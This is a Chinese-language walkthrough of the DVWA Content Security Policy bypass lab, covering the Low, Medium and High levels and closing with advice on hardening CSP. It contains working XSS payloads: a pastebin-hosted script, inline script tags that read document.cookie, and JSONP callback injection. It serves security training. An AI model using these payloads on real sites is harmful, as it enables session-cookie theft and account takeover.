DVWA CSP Bypass 内容安全策略绕过通关教程

漏洞简介

CSP(内容安全策略)是个防御 XSS 的好东西,限制网页能从哪加载资源。但如果配置不当,CSP 也能绕。

这关主要学怎么绕过配置不当的 CSP。

CSP 基础知识

常用指令

指令 说明
default-src 默认资源来源
script-src JS 来源
style-src CSS 来源
img-src 图片来源
connect-src AJAX 来源

示例配置

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

意思就是默认只能加载同源资源,JS 只能从自己和 cdn.example.com 加载。

Low 级别

看 CSP 配置:

1
2
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com 'unsafe-inline';";
header( $headerCSP );

允许从 pastebin.com 加载脚本,这就给了机会。

攻击方法

第一步:去 pastebin.com 写个恶意脚本

1
alert(document.cookie);

第二步:复制 raw 链接

1
https://pastebin.com/raw/xxxxx

第三步:注入

1
<script src="https://pastebin.com/raw/xxxxx"></script>

脚本执行了,CSP 绕过成功。白名单域名不是随便加的。

Medium 级别

Medium 的 CSP:

1
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' https://ssl.google-analytics.com https://pastebin.com;";

'unsafe-inline' 允许内联脚本,这配置约等于没有 CSP。

攻击方法

直接写内联脚本:

1
<script>alert(document.cookie)</script>

允许 'unsafe-inline' 就是给 XSS 大开方便之门,还不如不设 CSP。

High 级别

High 的 CSP 严格了:

1
2
$headerCSP = "Content-Security-Policy: script-src 'self';";
header( $headerCSP );

只允许同源脚本。但代码里有个 JSONP 接口:

1
2
3
4
5
if( isset( $_GET[ 'include' ] ) ) {
$page[ 'body' ] .= "
<script src='" . $_GET[ 'include' ] . "'></script>
";
}

include 参数可控,而且加载的是同源地址。

攻击方法

利用 JSONP 接口:

1
?include=http://localhost:8080/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//

虽然加载的是同源脚本,但 callback 参数能注入代码,绕过 CSP。

Impossible 级别

Impossible 用了 nonce:

1
2
$headerCSP = "Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-" . $token . "';";
header( $headerCSP );

特点:

  1. default-src 'self' 默认只允许同源
  2. script-src 'nonce-xxx' 只允许带正确 nonce 的脚本执行
  3. nonce 是动态生成的,猜不到

这才是正确的 CSP 配置。

CSP 绕过方式

绕过方式 说明
白名单域名 利用被允许的域名托管脚本
'unsafe-inline' 允许内联脚本
'unsafe-eval' 允许 eval
JSONP 利用 利用 JSONP callback 执行代码
文件上传 上传脚本到同源

小结

CSP 配置要点:

  1. 白名单域名要谨慎,别加公共 CDN
  2. 别用 'unsafe-inline''unsafe-eval'
  3. 用 nonce 或 hash 验证脚本
  4. JSONP 接口要检查 callback 参数
  5. 定期审计 CSP 配置